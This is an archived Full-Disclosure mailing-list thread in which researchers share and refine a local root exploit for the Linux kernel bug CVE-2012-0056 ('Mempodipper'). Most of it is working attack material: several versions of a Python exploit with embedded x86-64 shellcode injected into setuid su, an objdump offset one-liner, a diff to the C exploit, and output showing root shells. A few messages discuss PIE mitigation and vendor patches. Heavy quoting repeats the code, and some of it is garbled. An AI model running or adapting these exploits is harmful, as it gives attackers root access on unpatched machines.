Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jeffrey Walton]

Ubuntu just released patches: [USN-1342-1]
(http://www.ubuntu.com/usn/usn-1342-1/).

On Sun, Jan 22, 2012 at 6:25 PM, Jason A. Donenfeld ja...@zx2c4.com wrote:
 Server presently DoS'd, or dreamhost is tweaking again.

 Cache link:

 http://webcache.googleusercontent.com/search?hl=ensafe=offbiw=1009bih=687sclient=psy-abq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749pbx=1oq=cache%3Ahttp%3A%2F%2Fblog.zx2c4.com%2F749aq=faqi=g4aql=gs_sm=egs_upl=1077l2167l0l2282l7l4l0l0l0l0l148l403l2.2l4l0

 On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 . Enjoy.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[J�ri Aedla]

Seems Jason has beaten me to posting details about CVE-2012-0056.

I will post the links to original report and exploit code anyways:
http://www.ut.ee/~asd/exp-0-aedla/report.html
http://www.ut.ee/~asd/exp-0-aedla/exp-0-aedla.c

Jüri


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[sd]

sweet, now its almost reliable :)

tl;dr:
that python sketch just walks the return adress from stack at exit and
its safe to assume a function call is there (duh, since retaddr is on stack)
if its within reasonable threshold for .text, plt from there is obvious.

BUT, if you want to be truly anal about it singlestepping from that fprintf
isnt too precise either, theres possibility you'll just poke random places
because the call is not really guaranteed to point at plt.

not to mention ptrace_poketext demands word-aligned access - which
doesnt hurt since plts are always word aligned anyways.

ftfy:

diff --git a/mempodipper.c b/mempodipper.c
index dcc037c..cbbb5d0 100644
--- a/mempodipper.c
+++ b/mempodipper.c
@@ -127,10 +127,8 @@ unsigned long ptrace_address()
 #endif
if (instruction_pointer  upper_bound) {
uint32_t instruction =
ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
-   int operator = instruction  0xFF;
-   if (operator == 0xe8 /* call */) {
-   int32_t offset =
ptrace(PTRACE_PEEKTEXT, child, instruction_pointer + 1, NULL) + 5;
-   return instruction_pointer + offset;
+   if ((instruction  0x) == 0x25ff) {
+   return instruction_pointer;
}
}
}


2012/1/24 Jason A. Donenfeld ja...@zx2c4.com:
 Success!

 $ ./a.out

 ===


 =          Mempodipper        =


 =           by zx2c4          =


 =         Jan 21, 2012        =
 ===

 [+] Opening socketpair.
 [+] Waiting for transferred fd in parent.
 [+] Executing child from child fork.
 [+] Opening parent mem /proc/11351/mem in child.
 [+] Sending fd 5 to parent.
 [+] Received fd at 5.
 [+] Assigning fd 5 to stderr.
 [+] Ptracing su to find exit@plt without reading binary.
 [+] Resolved exit@plt to 0x402298.
 [+] Calculating su padding.
 [+] Seeking to offset 0x40228c.
 [+] Executing su with shellcode.
 sh-4.2#

 http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

 On Tue, Jan 24, 2012 at 08:35, Jason A. Donenfeld ja...@zx2c4.com wrote:

 I really couldn't really decipher the python without squinting, and I
 decided I didn't really like this method of going about it; it seems a bit
 fuzzy. I want things exact. Presto. Presto exact. I have been awake for a
 while and things like presto exact now make sense in my head. Maybe yours
 isn't fuzzy. I'm not really certain (nor coherent).

 So I coded up is something that waits on a pipe for the first printf to
 stderr, ptrace traversing using the syscall handler, and then after, it does
 a step at a time until it gets to an address below a massive threshold that
 is a call instruction. Instead of taking EIP here, which doesn't work if
 the next call is exit (ubuntu's su, though not 64bit gentoo's), I read for
 the 0xe8 call, and then the 4 bytes after that, and add it to EIP to get
 where it's going to call to.

 First time using ptrace.

 The result is this:
 http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c

 The four systems I've tested it on, it's completely accurate and very
 fast. Now adding the code to mempodipper.

 On Mon, Jan 23, 2012 at 21:42, sd s...@fucksheep.org wrote:

 ptrace aint exactly rocket science :)
 this one is OCD friendly (no spraying  detects prefix length).

 looking forward to your C port (python aint exactly great for real
 world use because of various deps).

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://bitbucket.org/haypo/python-ptrace
 # (cd python-ptrace  ./setup.py install --home=~)
 # hg clone https://code.google.com/p/python-passfd
 # (cd python-passfd  ./setup.py install --home=~)
 # PYTHONPATH=~/lib/python ./hurrdurr.py
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from ptrace.binding import *
 from time import *


 if argv[-1]=='hax':
        sk=int(argv[1])
        fd=open(/proc/%d/mem%getppid(),O_WRONLY)
        lseek(fd,int(argv[2]),0)
        sendfd(sk,fd)
 else:
        r,w=pipe()
        pid=fork()
        if not pid:
                dup2(w,2)
                ptrace_traceme()
                execl(/bin/su,su,h4x0rr)
        wait()
        while ptrace_getregs(pid).orig_rax not in (60,231):
                ptrace_syscall(pid)
                wait()
        rip=filter(lambda x: x0x0040 and x0x0900,
                [ptrace_peektext(pid,
                ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]

  data=(ptrace_peektext(pid,(rip-4)(~7))|ptrace_peektext(pid,(rip+4)(~7))64)

  rip=((rip+(data(((rip-4)7)*8)))0x)-read(r,32).find('h4x0rr')
        a,b=socketpair()
        if not fork():
                execl(/usr/bin/python,python,
             

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

On Tue, Jan 24, 2012 at 10:10, Jeffrey Walton noloa...@gmail.com wrote:

 Does ptrace defeat -fPIE?


 No. When I find the offset via ptrace, I do this in a different /bin/su
than the one I eventually use for injection. This is because when you
ptrace an executable, if it is SUID, it will *drop* its SUIDness if it's
being ptraced. This is an obvious security enhancement. Since ptrace allows
you to write arbitrary memory, if this wasn't in place, then this attack
would have been trivial long ago.

Because I ptrace one /bin/su and inject on another, PIE still deters the
attack, because the addresses will be different each time.

What ptracing does provide over the objdump approach is that it allows you
to determine the offset without having read access to the suid executable,
which is something required for some security conscious distributions, for
example, Gentoo.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[halfdog]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Hello Jason,

Jason A. Donenfeld wrote:
 Hey Mark,
 
 For the longest time /proc/pid/mem writing was ifdef'd out. Then
 for the 2.6.39 kernel release, they deemed that the work they'd
 been doing to make the writing interface secure was strong enough,
 so they included the ability to write [1]. So versions before
 2.6.39 are not vulnerable, and after it (until 3.3, I guess) are.
 Hope this clarifies.

Nice writeup. They should have known to comment out is bad thing, they
already received exploit demo 2011 when fixing CVE-2011-1020

http://www.halfdog.net/Security/2011/SuidBinariesAndProcInterface/

If /procc/[pid]/mem would be writeable on standard linux kernels, this
program should give local root privilege escalation (SeekHelper.c),
e.g. ./SeekHelper /proc/self/mem 8048000 /usr/bin/sudoedit -p xxx
/etc/sudoers with a crafted address and promt payload. Currently
something else is still blocking in kernel, could be fs/proc/base.c

hd


 Jason
 
 [1]
 http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=198214a7


 
On Mon, Jan 23, 2012 at 04:09, mark cunningham
 markcunninghamem...@gmail.com  wrote:
 Hey great write up on the exploit, sorry for contacting you off
 list. From your post I gather it's only 2.6.39 that's vulnerable
 right? http://security-tracker.debian.org/tracker/CVE-2012-0056
 is showing that lower versions are fixed and just not
 vulerable and I coulnd't get it to work with kernel 2.6.32, but
 figured maybe there was a chance it still worked for all of 2.6
 as i see linus has commited it to 2.6
 
 Mark
 
 On Sun, Jan 22, 2012 at 6:19 PM, Jason A.
 Donenfeldja...@zx2c4.com  wrote:
 Hey Everyone,
 
 I did a detailed write-up on exploiting CVE-2012-0056 that some
 of y'all might appreciate. Pretty fun bug to play with --
 dup2ing all over the place for the prize of getting to write
 arbitrary process memory into su :-).
 
 The write up is available on my blog here:
 http://blog.zx2c4.com/749 . Enjoy.
 
 Jason
 
 ___ Full-Disclosure
 - We believe in it. Charter:
 http://lists.grok.org.uk/full-disclosure-charter.html Hosted
 and sponsored by Secunia - http://secunia.com/
 
 ___ Full-Disclosure -
 We believe in it. Charter:
 http://lists.grok.org.uk/full-disclosure-charter.html Hosted and
 sponsored by Secunia - http://secunia.com/
 


- -- 
http://www.halfdog.net/
PGP: 156A AE98 B91F 0114 FE88  2BD8 C459 9386 feed a bee
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.11 (GNU/Linux)

iEYEARECAAYFAk8dJr4ACgkQxFmThv7tq+7atgCdFJfx44LdkpdzaOUEDKuB9XHg
HSUAoIgEguXSNS0Z30fMjbFBpGb0UYBM
=/RcI
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

I started on a ptrace based way of finding things, but I'm a bit of a
novice in this area. It's not working yet, but progress is here:
http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c

Any pointers?

On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Well done; that's a nice trick. Not really a fan of spraying like
 that (for irrational 'aesthetic' bullshitty reasons), but this is
 quite nice. Still though, you have the lseek offset in there, which is
 different for different executables.

 I'm sure there's a way to determine this without read access though --
 ptrace, for example, will make a suid binary loose its suidness, but
 you could then (I think?) inquire about memory locations and maps.
 Once you have the info you need, then you run su normally sans
 ptracing in the exploit. Not sure if this works or not. I think there
 are a few other similar things you can do when running suid code that
 will make it loose suidness, and also a variety of inspection
 techniques.

 On Mon, Jan 23, 2012 at 03:46, sd s...@fucksheep.org wrote:
  2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
  NICE! Well, I guess posting that blog post defeated the point of not
  publishing. :-D
 
  Thanks for compliance with first full-disclosure famwhoring rule:
  always post warez to make kids happy! :)
 
  On a related note, here goes my private version which relaxes the
  rules regarding file permissions on /bin/su (ie not world readable).
  This is to point out you can just overwrite 8kb of .text (default
  stderr buffer, more is possible, but without mere nops) instead of
  juggling with objdump.
 
  !/usr/bin/python
  # CVE-2012-0056 amd64
  # s...@fucksheep.org
  #
  # hg clone https://code.google.com/p/python-passfd
  # cd python-passfd; ./setup.py build_ext --inplace; cd src
  # mv ~/hurrdurr.py .
  # ./hurrdurr.py
  from socket import *
  from passfd import *
  from os import *
  from socket import *
  from sys import *
  if argv[-1]=='hax':
 sk=int(argv[1])
 fd=open(/proc/%d/mem%getppid(),O_WRONLY)
 lseek(fd,0x401000,0)
 sendfd(sk,fd)
  else:
 a,b=socketpair()
 if not fork():
 execl(/usr/bin/python,python,
   __file__,str(a.fileno()),'hax')
 dup2(recvfd(b)[0],2)
 
  
 execl(/bin/su,su,(\x90*8000)+\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
 \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
 \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
 \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);
 
 
 
 
  So, here's my code:
   http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
 
  I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
  versions from that same tree.
 
  Have fun.
 
 
 
  BTW, before I'm asked, the reason why I don't hard code 12 for the
  length of the su error string is that it's different on different
  distros.
 
  On Mon, Jan 23, 2012 at 02:14, sd s...@fucksheep.org wrote:
  2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
  Server presently DoS'd, or dreamhost is tweaking again.
 
  boring tl;dr - don't play kaminsky on us :)
 
  #!/usr/bin/python
  # CVE-2012-0056 amd64
  # s...@fucksheep.org
  #
  # hg clone https://code.google.com/p/python-passfd
  # cd python-passfd; ./setup.py build_ext --inplace; cd src
  # mv ~/hurrdurr.py .
  # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
  ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
  from socket import *
  from passfd import *
  from os import *
  from socket import *
  from sys import *
  from time import *
  if argv[-1]=='hax':
 sk=int(argv[1])
 fd=open(/proc/%d/mem%getppid(),O_WRONLY)
 lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
 sendfd(sk,fd)
 sleep(1)
  else:
 a,b=socketpair()
 if not fork():
 execl(/usr/bin/python,python,
   __file__,str(a.fileno()),argv[1],'hax')
 dup2(recvfd(b)[0],2)
 execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
 \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
 \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
 \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);
 
  --
  ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
  -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
  id
  uid=0(root) gid=1000(sd)
 
 groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Someone made an android version: https://github.com/saurik/mempodroid

On Sun, Jan 22, 2012 at 19:19, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Hey Everyone,

 I did a detailed write-up on exploiting CVE-2012-0056 that some of
 y'all might appreciate. Pretty fun bug to play with -- dup2ing all
 over the place for the prize of getting to write arbitrary process
 memory into su :-).

 The write up is available on my blog here: http://blog.zx2c4.com/749 .
 Enjoy.

 Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

On Mon, Jan 23, 2012 at 04:55, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Never seen checksec. Cool.

 As it turns out, Fedora seems to do a good job at compiling (all? not
 sure) their suid executables with -pie.


Revision. It does in fact work with fedora. /usr/bin/gpasswd.
http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c?h=fedora
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[sd]

ptrace aint exactly rocket science :)
this one is OCD friendly (no spraying  detects prefix length).

looking forward to your C port (python aint exactly great for real
world use because of various deps).

#!/usr/bin/python
# CVE-2012-0056 amd64
# s...@fucksheep.org
#
# hg clone https://bitbucket.org/haypo/python-ptrace
# (cd python-ptrace  ./setup.py install --home=~)
# hg clone https://code.google.com/p/python-passfd
# (cd python-passfd  ./setup.py install --home=~)
# PYTHONPATH=~/lib/python ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
from ptrace.binding import *
from time import *


if argv[-1]=='hax':
sk=int(argv[1])
fd=open(/proc/%d/mem%getppid(),O_WRONLY)
lseek(fd,int(argv[2]),0)
sendfd(sk,fd)
else:
r,w=pipe()
pid=fork()
if not pid:
dup2(w,2)
ptrace_traceme()
execl(/bin/su,su,h4x0rr)
wait()
while ptrace_getregs(pid).orig_rax not in (60,231):
ptrace_syscall(pid)
wait()
rip=filter(lambda x: x0x0040 and x0x0900,
[ptrace_peektext(pid,
ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]

data=(ptrace_peektext(pid,(rip-4)(~7))|ptrace_peektext(pid,(rip+4)(~7))64)
rip=((rip+(data(((rip-4)7)*8)))0x)-read(r,32).find('h4x0rr')
a,b=socketpair()
if not fork():
execl(/usr/bin/python,python,
  __file__,str(a.fileno()),str(rip),'hax')
dup2(recvfd(b)[0],2)
execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);


2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
 I started on a ptrace based way of finding things, but I'm a bit of a novice
 in this area. It's not working yet, but progress is here:
 http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c

 Any pointers?


 On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld ja...@zx2c4.com wrote:

 Well done; that's a nice trick. Not really a fan of spraying like
 that (for irrational 'aesthetic' bullshitty reasons), but this is
 quite nice. Still though, you have the lseek offset in there, which is
 different for different executables.

 I'm sure there's a way to determine this without read access though --
 ptrace, for example, will make a suid binary loose its suidness, but
 you could then (I think?) inquire about memory locations and maps.
 Once you have the info you need, then you run su normally sans
 ptracing in the exploit. Not sure if this works or not. I think there
 are a few other similar things you can do when running suid code that
 will make it loose suidness, and also a variety of inspection
 techniques.

 On Mon, Jan 23, 2012 at 03:46, sd s...@fucksheep.org wrote:
  2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
  NICE! Well, I guess posting that blog post defeated the point of not
  publishing. :-D
 
  Thanks for compliance with first full-disclosure famwhoring rule:
  always post warez to make kids happy! :)
 
  On a related note, here goes my private version which relaxes the
  rules regarding file permissions on /bin/su (ie not world readable).
  This is to point out you can just overwrite 8kb of .text (default
  stderr buffer, more is possible, but without mere nops) instead of
  juggling with objdump.
 
  !/usr/bin/python
  # CVE-2012-0056 amd64
  # s...@fucksheep.org
  #
  # hg clone https://code.google.com/p/python-passfd
  # cd python-passfd; ./setup.py build_ext --inplace; cd src
  # mv ~/hurrdurr.py .
  # ./hurrdurr.py
  from socket import *
  from passfd import *
  from os import *
  from socket import *
  from sys import *
  if argv[-1]=='hax':
         sk=int(argv[1])
         fd=open(/proc/%d/mem%getppid(),O_WRONLY)
         lseek(fd,0x401000,0)
         sendfd(sk,fd)
  else:
         a,b=socketpair()
         if not fork():
                 execl(/usr/bin/python,python,
                       __file__,str(a.fileno()),'hax')
         dup2(recvfd(b)[0],2)
 
   execl(/bin/su,su,(\x90*8000)+\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
                 \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
                 \x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
                 \xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);
 
 
 
 
  So, here's my code:
   http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
 
  I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
  versions from that same tree.
 
  Have fun.
 
 
 
  BTW, before I'm asked, the reason why I don't hard code 12 for the
  length of the su error string is that it's different on different
  distros.
 
  On Mon, Jan 23, 2012 at 02:14, sd s...@fucksheep.org wrote:
  2012/1/23 Jason A. 

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

I really couldn't really decipher the python without squinting, and I
decided I didn't really like this method of going about it; it seems a bit
fuzzy. I want things exact. Presto. Presto exact. I have been awake for a
while and things like presto exact now make sense in my head. Maybe yours
isn't fuzzy. I'm not really certain (nor coherent).

So I coded up is something that waits on a pipe for the first printf to
stderr, ptrace traversing using the syscall handler, and then after, it
does a step at a time until it gets to an address below a massive threshold
that is a call instruction. Instead of taking EIP here, which doesn't
work if the next call is exit (ubuntu's su, though not 64bit gentoo's), I
read for the 0xe8 call, and then the 4 bytes after that, and add it to EIP
to get where it's going to call to.

First time using ptrace.

The result is this:
http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c

The four systems I've tested it on, it's completely accurate and very fast.
Now adding the code to mempodipper.

On Mon, Jan 23, 2012 at 21:42, sd s...@fucksheep.org wrote:

 ptrace aint exactly rocket science :)
 this one is OCD friendly (no spraying  detects prefix length).

 looking forward to your C port (python aint exactly great for real
 world use because of various deps).

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://bitbucket.org/haypo/python-ptrace
 # (cd python-ptrace  ./setup.py install --home=~)
 # hg clone https://code.google.com/p/python-passfd
 # (cd python-passfd  ./setup.py install --home=~)
 # PYTHONPATH=~/lib/python ./hurrdurr.py
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from ptrace.binding import *
 from time import *


 if argv[-1]=='hax':
sk=int(argv[1])
fd=open(/proc/%d/mem%getppid(),O_WRONLY)
 lseek(fd,int(argv[2]),0)
sendfd(sk,fd)
 else:
r,w=pipe()
pid=fork()
if not pid:
dup2(w,2)
ptrace_traceme()
execl(/bin/su,su,h4x0rr)
wait()
while ptrace_getregs(pid).orig_rax not in (60,231):
ptrace_syscall(pid)
wait()
rip=filter(lambda x: x0x0040 and x0x0900,
[ptrace_peektext(pid,
ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]

  
 data=(ptrace_peektext(pid,(rip-4)(~7))|ptrace_peektext(pid,(rip+4)(~7))64)

  rip=((rip+(data(((rip-4)7)*8)))0x)-read(r,32).find('h4x0rr')
 a,b=socketpair()
if not fork():
execl(/usr/bin/python,python,
   __file__,str(a.fileno()),str(rip),'hax')
 dup2(recvfd(b)[0],2)
execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);


 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
  I started on a ptrace based way of finding things, but I'm a bit of a
 novice
  in this area. It's not working yet, but progress is here:
  http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c
 
  Any pointers?
 
 
  On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld ja...@zx2c4.com
 wrote:
 
  Well done; that's a nice trick. Not really a fan of spraying like
  that (for irrational 'aesthetic' bullshitty reasons), but this is
  quite nice. Still though, you have the lseek offset in there, which is
  different for different executables.
 
  I'm sure there's a way to determine this without read access though --
  ptrace, for example, will make a suid binary loose its suidness, but
  you could then (I think?) inquire about memory locations and maps.
  Once you have the info you need, then you run su normally sans
  ptracing in the exploit. Not sure if this works or not. I think there
  are a few other similar things you can do when running suid code that
  will make it loose suidness, and also a variety of inspection
  techniques.
 
  On Mon, Jan 23, 2012 at 03:46, sd s...@fucksheep.org wrote:
   2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
   NICE! Well, I guess posting that blog post defeated the point of not
   publishing. :-D
  
   Thanks for compliance with first full-disclosure famwhoring rule:
   always post warez to make kids happy! :)
  
   On a related note, here goes my private version which relaxes the
   rules regarding file permissions on /bin/su (ie not world readable).
   This is to point out you can just overwrite 8kb of .text (default
   stderr buffer, more is possible, but without mere nops) instead of
   juggling with objdump.
  
   !/usr/bin/python
   # CVE-2012-0056 amd64
   # s...@fucksheep.org
   #
   # hg clone https://code.google.com/p/python-passfd
   # cd python-passfd; ./setup.py build_ext --inplace; cd src
   # mv ~/hurrdurr.py .
   # ./hurrdurr.py
   from 

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Success!

$ ./a.out

===


=  Mempodipper=


=   by zx2c4  =


= Jan 21, 2012=
===

[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/11351/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find exit@plt without reading binary.
[+] Resolved exit@plt to 0x402298.
[+] Calculating su padding.
[+] Seeking to offset 0x40228c.
[+] Executing su with shellcode.
sh-4.2#

http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
On Tue, Jan 24, 2012 at 08:35, Jason A. Donenfeld ja...@zx2c4.com wrote:

 I really couldn't really decipher the python without squinting, and I
 decided I didn't really like this method of going about it; it seems a bit
 fuzzy. I want things exact. Presto. Presto exact. I have been awake for a
 while and things like presto exact now make sense in my head. Maybe yours
 isn't fuzzy. I'm not really certain (nor coherent).

 So I coded up is something that waits on a pipe for the first printf to
 stderr, ptrace traversing using the syscall handler, and then after, it
 does a step at a time until it gets to an address below a massive threshold
 that is a call instruction. Instead of taking EIP here, which doesn't
 work if the next call is exit (ubuntu's su, though not 64bit gentoo's), I
 read for the 0xe8 call, and then the 4 bytes after that, and add it to EIP
 to get where it's going to call to.

 First time using ptrace.

 The result is this:
 http://git.zx2c4.com/CVE-2012-0056/tree/ptrace-offset-finder.c

 The four systems I've tested it on, it's completely accurate and very
 fast. Now adding the code to mempodipper.

 On Mon, Jan 23, 2012 at 21:42, sd s...@fucksheep.org wrote:

 ptrace aint exactly rocket science :)
 this one is OCD friendly (no spraying  detects prefix length).

 looking forward to your C port (python aint exactly great for real
 world use because of various deps).

 #!/usr/bin/python
 # CVE-2012-0056 amd64
 # s...@fucksheep.org
 #
 # hg clone https://bitbucket.org/haypo/python-ptrace
 # (cd python-ptrace  ./setup.py install --home=~)
 # hg clone https://code.google.com/p/python-passfd
 # (cd python-passfd  ./setup.py install --home=~)
 # PYTHONPATH=~/lib/python ./hurrdurr.py
 from socket import *
 from passfd import *
 from os import *
 from socket import *
 from sys import *
 from ptrace.binding import *
 from time import *


 if argv[-1]=='hax':
sk=int(argv[1])
fd=open(/proc/%d/mem%getppid(),O_WRONLY)
 lseek(fd,int(argv[2]),0)
sendfd(sk,fd)
 else:
r,w=pipe()
pid=fork()
if not pid:
dup2(w,2)
ptrace_traceme()
execl(/bin/su,su,h4x0rr)
wait()
while ptrace_getregs(pid).orig_rax not in (60,231):
ptrace_syscall(pid)
wait()
rip=filter(lambda x: x0x0040 and x0x0900,
[ptrace_peektext(pid,
ptrace_getregs(pid).rsp+i) for i in range(0,256,8)])[0]

  
 data=(ptrace_peektext(pid,(rip-4)(~7))|ptrace_peektext(pid,(rip+4)(~7))64)

  rip=((rip+(data(((rip-4)7)*8)))0x)-read(r,32).find('h4x0rr')
 a,b=socketpair()
if not fork():
execl(/usr/bin/python,python,
   __file__,str(a.fileno()),str(rip),'hax')
 dup2(recvfd(b)[0],2)
execl(/bin/su,su,\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2+
\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb+
\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6+
\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05);


 2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
  I started on a ptrace based way of finding things, but I'm a bit of a
 novice
  in this area. It's not working yet, but progress is here:
  http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c
 
  Any pointers?
 
 
  On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld ja...@zx2c4.com
 wrote:
 
  Well done; that's a nice trick. Not really a fan of spraying like
  that (for irrational 'aesthetic' bullshitty reasons), but this is
  quite nice. Still though, you have the lseek offset in there, which is
  different for different executables.
 
  I'm sure there's a way to determine this without read access though --
  ptrace, for example, will make a suid binary loose its suidness, but
  you could then (I think?) inquire about memory locations and maps.
  Once you have the info you need, then you run su normally sans
  ptracing in the exploit. Not sure if this works or not. I think there
  are a few other similar things you can do when running suid code that
  will make it loose suidness, and also a variety of inspection
  techniques.
 
  On Mon, Jan 23, 2012 at 03:46, sd s...@fucksheep.org wrote:
   2012/1/23 Jason A. Donenfeld ja...@zx2c4.com:
   

[Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Hey Everyone,

I did a detailed write-up on exploiting CVE-2012-0056 that some of
y'all might appreciate. Pretty fun bug to play with -- dup2ing all
over the place for the prize of getting to write arbitrary process
memory into su :-).

The write up is available on my blog here: http://blog.zx2c4.com/749 . Enjoy.

Jason

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

[Jason A. Donenfeld]

Server presently DoS'd, or dreamhost is tweaking again.

Cache link:

